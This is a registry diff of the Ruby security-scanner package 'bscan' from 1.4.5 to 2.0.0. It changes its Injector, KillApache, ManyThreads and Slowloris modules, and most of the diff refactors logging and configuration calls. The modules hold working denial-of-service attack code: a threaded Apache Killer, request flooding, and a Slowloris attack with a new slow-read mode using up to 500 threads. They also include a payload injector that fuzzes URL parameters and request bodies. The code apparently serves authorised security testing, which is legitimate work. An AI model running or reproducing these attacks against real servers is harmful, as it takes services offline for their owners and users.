bscan 1.4.5 → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -6,9 +6,8 @@ module Injector
6
6
 
7
7
  def run *args
8
8
 
9
- @bscan = args[0]
10
- @config ||= @bscan.bscan_config
11
- @bscan.activity[0]=true
9
+ @config ||= @bscan_config
10
+ @activity[0]=true
12
11
 
13
12
  @prop_pref = 'bscan.injector.'
14
13
  @prop_pref += args[2] + '.' if args[2] && args[2].length > 0
@@ -21,19 +20,19 @@ module Injector
21
20
  end
22
21
 
23
22
  url = msg.url.dup.to_s
24
- @bscan.Log 2, "#{@mid}run for #{url}"
23
+ Log 2, "#{@mid}run for #{url}"
25
24
  begin
26
25
  if (url =~ /([^?]+)\?(.+)/)
27
26
  beg = "#{$1}?"
28
27
  params = $2
29
- @bscan.Log 2, "#{@mid}run BEG: #{beg} PARAMS: #{params} FILE: #{@config[prop('file')]}"
28
+ Log 2, "#{@mid}run BEG: #{beg} PARAMS: #{params} FILE: #{@config[prop('file')]}"
30
29
  injs = open_in_path(@config[prop('file')])
31
30
  injs.each_line do |l|
32
31
  l.chomp!
33
32
  next if (l =~ /^#{COMMENT_START}/ or l.length < 1)
34
- @bscan.Log 2, "#{@mid}run injecting: #{l}"
33
+ Log 2, "#{@mid}run injecting: #{l}"
35
34
 
36
- @bscan.activity[0]=true
35
+ @activity[0]=true
37
36
 
38
37
  do_scan(msg, beg + l, l) # in parameter name
39
38
  do_scan(msg, beg.chop + l, l) # in URL
@@ -41,7 +40,7 @@ module Injector
41
40
  pos=0
42
41
  while (m=params.match(/([^&]+)=([^&]+)/,pos))
43
42
  trg = beg + params[0..m.begin(2)-1] + l + params[m.end(2)..-1]
44
- @bscan.activity[0]=true
43
+ @activity[0]=true
45
44
  do_scan(msg, trg, l)
46
45
  pos=m.end(1)+1
47
46
  end
@@ -52,8 +51,8 @@ module Injector
52
51
  inject_to_body msg if @config['bscan.injector.one.inject_to_body'] == 'true'
53
52
 
54
53
  rescue Exception => e
55
- @bscan.Log 0, "#{@mid}run Exception: #{e.message}"
56
- @bscan.Log 0, e.backtrace.join("\n")
54
+ Log 0, "#{@mid}run Exception: #{e.message}"
55
+ Log 0, e.backtrace.join("\n")
57
56
  end
58
57
  end
59
58
 
@@ -61,10 +60,10 @@ module Injector
61
60
  param = @config[prop('inject_instead_of')]
62
61
  a=[]
63
62
  if (not param or (a=param.split(':',3)).size < 3)
64
- @bscan.Log 0, "#{@mid}inject_to_pattern: 'inject_instead_of' parameter is not valid #{param}"
63
+ Log 0, "#{@mid}inject_to_pattern: 'inject_instead_of' parameter is not valid #{param}"
65
64
  return
66
65
  end
67
- @bscan.Log 2, "#{@mid}inject_to_pattern input: #{a.join('|')}"
66
+ Log 2, "#{@mid}inject_to_pattern input: #{a.join('|')}"
68
67
  begin
69
68
  p,f,proto = Regexp.escape(a[0]), a[1], a[2]
70
69
  file = open_in_path(f)
@@ -76,15 +75,15 @@ module Injector
76
75
  injs.each_line do |l|
77
76
  l.chomp!
78
77
  next if (l =~ /^#{COMMENT_START}/ or l.length < 1)
79
- @bscan.Log 2, "#{@mid}inject_to_pattern injecting: #{l}"
78
+ Log 2, "#{@mid}inject_to_pattern injecting: #{l}"
80
79
 
81
80
  pos = 0
82
81
  while (m=req.match(/(#{p}).*?(#{p})/,pos))
83
82
  r = (req[0..m.begin(1)-1] + l + req[m.end(2)..-1]).gsub /#{p}(.*?)#{p}/,'\1'
84
83
 
85
- @bscan.Log 2, "#{@mid}inject_to_pattern new req:\n#{r}"
84
+ Log 2, "#{@mid}inject_to_pattern new req:\n#{r}"
86
85
  set_len r
87
- @bscan.activity[0]=true
86
+ @activity[0]=true
88
87
  send_req r,proto,l
89
88
  pos=m.end(1)
90
89
  end
@@ -92,17 +91,17 @@ module Injector
92
91
  injs.close
93
92
 
94
93
  rescue Exception => e
95
- @bscan.Log 0, "#{@mid}inject_to_pattern Exception: #{e.message}"
96
- @bscan.Log 0, e.backtrace.join("\n")
94
+ Log 0, "#{@mid}inject_to_pattern Exception: #{e.message}"
95
+ Log 0, e.backtrace.join("\n")
97
96
  end
98
97
 
99
98
  end
100
99
 
101
100
  def inject_to_body msg
102
101
  scanf = false
103
- @bscan.Log 2, "#{@mid}inject_to_body req: #{msg.req_str}"
102
+ Log 2, "#{@mid}inject_to_body req: #{msg.req_str}"
104
103
  msg.request_headers.each do |a|
105
- @bscan.Log 2, "#{@mid}inject_to_body hdr: #{a[0]} #{a[1]}"
104
+ Log 2, "#{@mid}inject_to_body hdr: #{a[0]} #{a[1]}"
106
105
  if a.size > 1 and a[0] =~ /content-type/i and a[1] =~ /application\/x-www-form-urlencoded/i
107
106
  scanf = true
108
107
  break
@@ -118,21 +117,21 @@ module Injector
118
117
  injs.each_line do |l|
119
118
  l.chomp!
120
119
  next if (l =~ /^#{COMMENT_START}/ or l.length < 1)
121
- @bscan.Log 2, "#{@mid}inject_to_body injecting: #{l}"
120
+ Log 2, "#{@mid}inject_to_body injecting: #{l}"
122
121
  pos=start_pos
123
122
  while (m=msg.req_str.match(/([^=]+)=([^=]+)/,pos))
124
123
  req = msg.req_str[0..m.begin(2)-1] + l + msg.req_str[m.end(2)..-1]
125
124
  req.sub!(/content-length\s*:\s*\d+/i, "Content-Length: "+(req.length-start_pos).to_s)
126
- @bscan.Log 2, "#{@mid}inject_to_body #{pos} #{req}"
127
- @bscan.activity[0]=true
125
+ Log 2, "#{@mid}inject_to_body #{pos} #{req}"
126
+ @activity[0]=true
128
127
  send_req req, msg.getProtocol, l
129
128
  pos=m.end(1)+1
130
129
  end
131
130
  end
132
131
  injs.close
133
132
  rescue Exception => e
134
- @bscan.Log 0, "#{@mid}inject_to_body Exception: #{e.message}"
135
- @bscan.Log 0, e.backtrace.join("\n")
133
+ Log 0, "#{@mid}inject_to_body Exception: #{e.message}"
134
+ Log 0, e.backtrace.join("\n")
136
135
  end
137
136
  end
138
137
 
@@ -7,9 +7,8 @@ require 'bscan/utils/bscan_helper.rb'
7
7
 
8
8
  module KillApache
9
9
  def run *args
10
- @bscan = args[0]
11
- @config ||= @bscan.bscan_config
12
- @bscan.activity[0]=true
10
+ @config ||= @bscan_config
11
+ @activity[0]=true
13
12
 
14
13
  @prop_pref = 'bscan.kill_apache.'
15
14
  @prop_pref += args[2] + '.' if args[2] && args[2].length > 0
@@ -26,7 +25,7 @@ module KillApache
26
25
  rtf ||= '10'
27
26
  rtf = rtf.to_i
28
27
  rpt = @config[prop('req_per_thread')]
29
- rpt ||= '1'
28
+ rpt ||= '10'
30
29
  rpt = rpt.to_i
31
30
  @rto = @config[prop('read_timeout')]
32
31
  @rto ||= '10'
@@ -54,7 +53,7 @@ module KillApache
54
53
  end
55
54
  req.sub!(/@@@/,inj)
56
55
 
57
- @bscan.Log 2, "#{@mid}run input: #{threads} #{rpt} #{rtf} #{host} #{port}\n#{req}"
56
+ Log 2, "#{@mid}run input: #{threads} #{rpt} #{rtf} #{host} #{port}\n#{req}"
58
57
 
59
58
  @threadinfo = {}
60
59
  threads.times do |t|
@@ -70,16 +69,31 @@ module KillApache
70
69
 
71
70
  rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)
72
71
 
73
- @bscan.Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
72
+ Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
74
73
 
74
+ threads.times do |t|
75
+ Thread.new do
76
+ begin
77
+ Log 2, "#{@mid}run thread: #{t} #{rpt}"
78
+ for con in 0..rpt-1
79
+ send_get_rsp host,port,req,proto,t,con
80
+ end
81
+ rescue Exception => e
82
+ Log 1, "#{@mid}run Exception: #{e.message}"
83
+ Log 1, e.backtrace.join("\n")
84
+ Thread.current.exit
85
+ end
86
+ end
87
+ end
88
+
75
89
  # Monitoring thread
76
- Thread.new do
90
+ mont = Thread.new do
77
91
  maxtime=0
78
92
  while (true)
79
93
  begin
80
94
  sleep 2.5
81
95
  rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
82
- @bscan.Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
96
+ Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
83
97
  maxtime = rt if rt > nrt*rtf && rt > maxtime
84
98
  ex = true
85
99
  tnum = 0
@@ -97,39 +111,29 @@ module KillApache
97
111
  end
98
112
  tnum += 1 if inc_t
99
113
  end
100
- @bscan.Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep 5 sec"
114
+ Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep 5 sec"
101
115
  break if ex
102
116
  rescue Exception => e
103
- @bscan.Log 1, "#{@mid}run Exception: #{e.message}"
104
- @bscan.Log 1, e.backtrace.join("\n")
117
+ Log 1, "#{@mid}run Exception: #{e.message}"
118
+ Log 1, e.backtrace.join("\n")
105
119
  end
106
120
  end
107
- @bscan.Log 1, "#{@mid}run exiting monitor: #{maxtime}"
121
+ Log 1, "#{@mid}run exiting monitor: #{maxtime}"
108
122
  if maxtime > 0
109
123
  issue = Issue.new "#{@mid.chop}: Apache Killer succeeded", trg, "Medium", "Firm", req, rsp,
110
124
  "Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
111
- @bscan.write_issue_state issue
125
+ write_issue_state issue
112
126
  end
113
127
  end
114
128
 
115
- threads.times do |t|
116
- Thread.new do
117
- begin
118
- @bscan.Log 2, "#{@mid}run thread: #{t} #{rpt}"
119
- for con in 0..rpt-1
120
- send_get_rsp host,port,req,proto,t,con
121
- end
122
- rescue Exception => e
123
- @bscan.Log 1, "#{@mid}run Exception: #{e.message}"
124
- @bscan.Log 1, e.backtrace.join("\n")
125
- Thread.current.exit
126
- end
127
- end
128
- end
129
+
130
+ mont.join
131
+
132
+
129
133
  end
130
134
 
131
135
  def send_get_rsp host,port,req,proto,t,c
132
- @bscan.activity[0]=true
136
+ @activity[0]=true
133
137
  @threadinfo[t][c] = 1
134
138
  rsp =''
135
139
  s=nil
@@ -144,19 +148,19 @@ module KillApache
144
148
  end
145
149
  l = s.syswrite(req)
146
150
  raise "only #{l} bytes out of #{req.length} written #{t} #{req}" if l != req.length
147
- rsp = read_response s
148
- @bscan.Log 2, "#{@mid}send_get_rsp succeeded for #{t} #{rsp}"
151
+ rsp = read_response_socket s
152
+ Log 2, "#{@mid}send_get_rsp succeeded for #{t} #{rsp}"
149
153
  end
150
154
  rescue Exception => e
151
- @bscan.Log 1, "#{@mid}send_get_rsp failed for #{t} Exception: #{e.message}"
152
- @bscan.Log 1, e.backtrace.join("\n")
155
+ Log 1, "#{@mid}send_get_rsp failed for #{t} Exception: #{e.message}"
156
+ Log 1, e.backtrace.join("\n")
153
157
  @threadinfo[t][c] = nil
154
158
  end
155
159
 
156
160
  begin
157
161
  s.close if s
158
162
  rescue Exception => e
159
- @bscan.Log 1, "#{@mid}send_get_rsp close for #{t} Exception: #{e.message}"
163
+ Log 1, "#{@mid}send_get_rsp close for #{t} Exception: #{e.message}"
160
164
  end
161
165
  @threadinfo[t][c] = 0
162
166
 
@@ -168,16 +172,16 @@ module KillApache
168
172
  @threadinfo[t] ||= {}
169
173
  rsp = ''
170
174
  start = Time.now
171
- @bscan.activity[0]=true
175
+ @activity[0]=true
172
176
  begin
173
177
  rsp = send_get_rsp host,port,req,proto,t,0
174
178
  rescue Exception => e
175
- @bscan.Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
179
+ Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
176
180
  end
177
181
  [rsp,Time.now - start]
178
182
  end
179
183
 
180
- def read_response s
184
+ def read_response_socket s
181
185
  rsp=''
182
186
  begin
183
187
  while (ch=s.sysread(1))
@@ -3,10 +3,9 @@ require 'bscan/utils/bscan_helper.rb'
3
3
  module ManyThreads
4
4
 
5
5
  def run *args
6
- @bscan = args[0]
7
- @config ||= @bscan.bscan_config
6
+ @config ||= @bscan_config
8
7
 
9
- @bscan.activity[0]=true
8
+ @activity[0]=true
10
9
 
11
10
  @prop_pref = 'bscan.many_threads.'
12
11
  @prop_pref += args[2] + '.' if args[2] && args[2].length > 0
@@ -15,12 +14,12 @@ module ManyThreads
15
14
  param = @config[prop('request')]
16
15
  a=[]
17
16
  if (not param or (a=param.split(':',3)).size < 2)
18
- @bscan.Log 0, "#{@mid}run: 'request' parameter is not valid #{param}, it should be 'request.txt:protocol[:repeater]'"
17
+ Log 0, "#{@mid}run: 'request' parameter is not valid #{param}, it should be 'request.txt:protocol[:repeater]'"
19
18
  return
20
19
  end
21
20
  threads = @config[prop('threads')]
22
21
  threads ||= '10'
23
- @bscan.Log 2, "#{@mid}run input: #{a.join('|')} #{threads}"
22
+ Log 2, "#{@mid}run input: #{a.join('|')} #{threads}"
24
23
 
25
24
  threads = threads.to_i
26
25
 
@@ -40,13 +39,13 @@ module ManyThreads
40
39
  file.close
41
40
  threads.times do
42
41
  Thread.new() {
43
- @bscan.activity[0]=true
42
+ @activity[0]=true
44
43
  send_req req, proto, ''
45
44
  }
46
45
  end
47
46
  rescue Exception => e
48
- @bscan.Log 0, "#{@mid}run Exception: #{e.message}"
49
- @bscan.Log 0, e.backtrace.join("\n")
47
+ Log 0, "#{@mid}run Exception: #{e.message}"
48
+ Log 0, e.backtrace.join("\n")
50
49
  end
51
50
  end
52
51
  end
@@ -1,3 +1,4 @@
1
+ require "java"
1
2
  require "socket"
2
3
  require "thread"
3
4
  require "openssl"
@@ -5,39 +6,25 @@ require "openssl"
5
6
  require 'bscan/utils/bscan_helper.rb'
6
7
 
7
8
  module Slowloris
9
+
8
10
  def run *args
9
- @bscan = args[0]
10
- @config ||= @bscan.bscan_config
11
- @bscan.activity[0]=true
12
11
 
13
12
  @prop_pref = 'bscan.slowloris.'
14
13
  @prop_pref += args[2] + '.' if args[2] && args[2].length > 0
15
14
  @mid = args[2]?"Slowloris.#{args[2]}.":'Slowloris.'
16
15
  begin
17
- proto = @config[prop('protocol')]
18
- proto ||= 'http'
19
-
20
- threads = @config[prop('threads')]
21
- threads ||= '20'
22
- threads = threads.to_i
23
-
24
- rtf = @config[prop('response_time_factor')]
25
- rtf ||= '5'
26
- rtf = rtf.to_i
27
- slt = @config[prop('sleep_time')]
28
- slt ||= '100'
29
- slt = slt.to_i
30
- cn = @config[prop('con_nbr_per_thread')]
31
- cn ||= 50
32
- cn = cn.to_i
33
- ppc = @config[prop('pack_per_con')]
34
- ppc ||= 5
35
- ppc = ppc.to_i
36
16
 
37
- http_method = @config[prop('method')]
38
- http_method ||= 'GET'
17
+ dlw = get_par 'delay_on_write',true
18
+ proto = get_par 'protocol', 'http'
19
+ threads = get_par 'threads', dlw ? 500:20
20
+ rtf = get_par 'response_time_factor',5
21
+ slt = get_par 'sleep_time', dlw ? 5:100
22
+ cn = get_par 'con_per_thread', dlw ? 1:50
23
+ ppc = get_par 'pack_per_con', dlw ? 50:5
24
+ hli = get_par 'health_check_int', 2
25
+ http_method = get_par 'method', 'POST'
26
+ req = @bscan_config[prop('request')]
39
27
 
40
- req = @config[prop('request')]
41
28
  nreq = nil
42
29
  if req
43
30
  file = open_in_path(req)
@@ -46,7 +33,7 @@ module Slowloris
46
33
  file.close
47
34
  nreq = req
48
35
  else
49
- host = @config[prop('hostport')]
36
+ host = get_par 'hostport',''
50
37
  host,port = host.split(':') if host
51
38
  raise "Either 'host' and 'port' or 'request' params must be set" if !host or !port
52
39
  req = "#{http_method} /@@@ HTTP/1.1\r\n" +
@@ -61,7 +48,7 @@ module Slowloris
61
48
  end
62
49
 
63
50
 
64
- @bscan.Log 2, "#{@mid}run input: #{threads} #{cn} #{ppc} #{rtf} #{slt} #{host} #{port}\n#{req}"
51
+ Log 2, "#{@mid}run input: #{threads} #{cn} #{ppc} #{rtf} #{slt} #{host} #{port} #{proto} #{dlw}\n#{req}"
65
52
  # rsp,nrt = get_normal_response_time nreq,proto
66
53
  @threadinfo = {}
67
54
  trg,host,port = get_url_host_port req,proto
@@ -69,17 +56,56 @@ module Slowloris
69
56
  @infom ||= Mutex.new
70
57
 
71
58
  rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)
72
- @bscan.Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
59
+ Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
73
60
 
61
+ threads.times do |t|
62
+
63
+ @infom.lock
64
+ @threadinfo[t] = {}
65
+ @infom.unlock
66
+
67
+ for con in 0..cn-1
68
+ @infom.lock
69
+ @threadinfo[t][con]=nil if not @threadinfo[t][con] # need to add keys if they are not there yet
70
+ @infom.unlock
71
+ end
72
+
73
+ Thread.new do
74
+ begin
75
+ Log 2, "#{@mid}run thread: #{t} #{cn}"
76
+ if (!dlw)
77
+ make_conns cn,host,port,req,proto,t
78
+ for pcnt in 0..ppc-1
79
+ Log 2, "#{@mid}run after sleep: #{t} #{cn}"
80
+ for con in 0..cn-1
81
+ send_more host,port,proto,t,con
82
+ end
83
+ sleep slt
84
+ end
85
+ else
86
+ for pcnt in 0..ppc-1
87
+ Log 2, "#{@mid}run sending pack #{pcnt}: #{t} #{cn}"
88
+ for con in 0..cn-1
89
+ send_slow host,port,nreq,proto,t,con,true,slt
90
+ end
91
+ end
92
+ end
93
+ raise Exception => e
94
+ Log 1, "#{@mid}run Exception: #{e.message}"
95
+ Log 1, e.backtrace.join("\n")
96
+ Thread.current.exit
97
+ end
98
+ end
99
+ end
100
+
74
101
  # Monitoring thread
75
- Thread.new do
102
+ mont = Thread.new do
76
103
  maxtime=0
77
104
  while (true)
78
105
  begin
79
- dl = slt/10
80
- sleep dl < 10 ? 10 : dl
106
+ sleep hli
81
107
  rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
82
- @bscan.Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
108
+ Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
83
109
  maxtime = rt if rt > nrt*rtf && rt > maxtime
84
110
  ex = true
85
111
  tnum = 0
@@ -95,61 +121,29 @@ module Slowloris
95
121
  end
96
122
  tnum += 1 if inc_t
97
123
  end
98
- @bscan.Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep #{slt/4} sec"
124
+ Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep #{hli} sec"
99
125
  break if ex
100
126
  rescue Exception => e
101
- @bscan.Log 1, "#{@mid}run Exception: #{e.message}"
102
- @bscan.Log 1, e.backtrace.join("\n")
127
+ Log 1, "#{@mid}run Exception: #{e.message}"
128
+ Log 1, e.backtrace.join("\n")
103
129
  end
104
130
  end
105
- @bscan.Log 1, "#{@mid}run exiting monitor: #{maxtime}"
131
+ Log 2, "#{@mid}run exiting monitor: #{maxtime}"
106
132
  if maxtime > 0
107
- issue = Issue.new "#{@mid.chop}: Slowloris succeeded", trg, "Medium", "Firm", req, rsp,
133
+ issue = Issue.new "#{@mid.chop}: Slowloris succeeded", trg, "Medium", "Firm", dlw ? nreq:req, rsp,
108
134
  "Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
109
- @bscan.write_issue_state issue
135
+ write_issue_state issue
110
136
  end
137
+ close_all
111
138
  end
112
-
113
-
114
139
 
140
+ mont.join()
115
141
 
116
-
117
- threads.times do |t|
118
-
119
- @infom.lock
120
- @threadinfo[t] = {}
121
- @infom.unlock
122
-
123
- for con in 0..cn-1
124
- @infom.lock
125
- @threadinfo[t][con]=nil if not @threadinfo[t][con] # need to add keys if they are not there yet
126
- @infom.unlock
127
- end
128
-
129
- Thread.new do
130
- begin
131
- @bscan.Log 2, "#{@mid}run thread: #{t} #{cn}"
132
- make_conns cn,host,port,req,proto,t
133
- for pcnt in 0..ppc-1
134
- @bscan.Log 2, "#{@mid}run after sleep: #{t} #{cn}"
135
- for con in 0..cn-1
136
- send_more host,port,proto,t,con
137
- end
138
- sleep slt
139
- end
140
- raise Exception => e
141
- @bscan.Log 1, "#{@mid}run Exception: #{e.message}"
142
- @bscan.Log 1, e.backtrace.join("\n")
143
- Thread.current.exit
144
- end
145
- end
146
- end
147
- close_all
148
142
 
149
143
 
150
144
  rescue Exception => e
151
- @bscan.Log 0, "#{@mid}run Exception: #{e.message}"
152
- @bscan.Log 0, e.backtrace.join("\n")
145
+ Log 0, "#{@mid}run Exception: #{e.message}"
146
+ Log 0, e.backtrace.join("\n")
153
147
  end
154
148
  end
155
149
  def update_info t,con,val
@@ -169,11 +163,11 @@ module Slowloris
169
163
  end
170
164
  end
171
165
 
172
- def make_conns nbr,host,port,req,proto,t
173
- @bscan.Log 2, "#{@mid}make_conns: #{t} #{nbr}"
166
+ def make_conns nbr,host,port,req,proto,t,readto=0
167
+ Log 2, "#{@mid}make_conns: #{t} #{nbr}"
174
168
  nbr.times do |con|
175
- @bscan.Log 2, "#{@mid}make_conns connection: #{t} #{con}"
176
- send_slow host,port,req,proto,t,con
169
+ Log 2, "#{@mid}make_conns connection: #{t} #{con}"
170
+ send_slow host,port,req,proto,t,con,true,readto
177
171
  end
178
172
  end
179
173
 
@@ -181,18 +175,19 @@ module Slowloris
181
175
  send_slow host,port,"Connection: Keep-Alive\r\n",proto,t,con,false
182
176
  end
183
177
 
184
- def send_slow host,port,req,proto,t,con,reopen=true
185
- @bscan.activity[0]=true
178
+ def send_slow host,port,req,proto,t,con,reopen=true,readto=0
179
+ # @bscan.activity[0]=true
186
180
  begin
187
181
  s = @threadinfo[t][con]
188
182
  rndr = random_url(req)
189
183
 
190
184
  if !s || s.closed? || s.syswrite(rndr) != rndr.length
191
185
  s.close if s && !s.closed?
192
- raise "can't send more, connection closed #{host} #{port} #{t} #{con}" if not reopen
186
+ raise "can't send more, connection closed #{host} #{port} #{t} #{con} #{readto}" if not reopen
193
187
 
194
- @bscan.Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con}"
195
188
  s = TCPSocket.new(host, port)
189
+ Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con} #{readto}"
190
+ # Log 2, "#{@mid}send_slow socket# #{`netstat -n | wc -l`.chomp}"
196
191
  if (proto =~ /https/i)
197
192
  ctx = OpenSSL::SSL::SSLContext.new
198
193
  ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
@@ -202,10 +197,15 @@ module Slowloris
202
197
  update_info t,con,s
203
198
  end
204
199
  s.syswrite(rndr)
205
- @bscan.Log 2, "#{@mid}send_slow succeeded for #{t} #{con} #{rndr}"
206
- @bscan.Log 2, "#{@mid}send_slow send_more #{t} #{con}" if !reopen
200
+ Log 2, "#{@mid}send_slow succeeded for #{t} #{con} #{rndr}"
201
+ Log 2, "#{@mid}send_slow send_more #{t} #{con}" if !reopen
202
+ if readto > 0
203
+ rsp = read_response s,readto
204
+ Log 2, "#{@mid}send_slow rsp #{t} #{con}\n#{rsp}"
205
+ end
207
206
  rescue Exception => e
208
- @bscan.Log 1, "#{@mid}send_slow failed for #{t} #{con}: #{e.message}"
207
+ Log 1, "#{@mid}send_slow failed for #{t} #{con}: #{e.message} #{e.to_s}"
208
+ Log 1, e.backtrace.join("\n")
209
209
  begin
210
210
  s.close
211
211
  rescue
@@ -222,7 +222,7 @@ module Slowloris
222
222
  @threadinfo[t] ||= {}
223
223
  rsp = ''
224
224
  start = Time.now
225
- @bscan.activity[0]=true
225
+ # @bscan.activity[0]=true
226
226
  req = random_url req
227
227
  begin
228
228
  send_slow host,port,req,proto,t,0
@@ -232,7 +232,7 @@ module Slowloris
232
232
  end
233
233
  rsp = read_response s
234
234
  rescue Exception => e
235
- @bscan.Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
235
+ Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
236
236
  end
237
237
  begin
238
238
  s.close
@@ -242,22 +242,37 @@ module Slowloris
242
242
  [rsp,Time.now - start]
243
243
  end
244
244
 
245
- def read_response s
245
+ def read_response s,to=0
246
246
  rsp=''
247
- while (ch=s.sysread(1))
248
- rsp += ch
249
- if rsp =~ /Content-Length\s*:\s*(\d+)\r?\n$/i
250
- len = $1.to_i
251
- while (c=s.sysread(1))
252
- rsp += c
253
- if rsp[-4..-1] == "\r\n\r\n" || rsp[-2..-1] == "\n\n"
254
- rsp += s.sysread(len)
255
- break
256
- end
247
+ begin
248
+ while (ch=s.sysread(1))
249
+ rsp += ch
250
+ return rsp if msg_end rsp
251
+ if rsp =~ /Content-Length\s*:\s*(\d+)\r?\n$/i
252
+ len = $1.to_i
253
+ while (c=s.sysread(1))
254
+ rsp += c
255
+ if msg_end rsp
256
+ break if len <= 0
257
+ if (to <= 0)
258
+ rsp += s.sysread(len)
259
+ else
260
+ Log 2, "#{@mid}read_response len #{len} #{to} #{Float(to)/len}"
261
+ len.times do |n|
262
+ rsp += s.sysread(1)
263
+ sleep Float(to)/len
264
+ end
265
+ end
266
+ break
267
+ end
268
+ end
269
+ break
257
270
  end
258
- break
259
271
  end
260
- end
272
+ rescue Exception => e
273
+ Log 1, "#{@mid}read_response Exception #{e.message}\n#{rsp}"
274
+ Log 1, e.backtrace.join("\n")
275
+ end
261
276
  rsp
262
277
  end
263
278
  end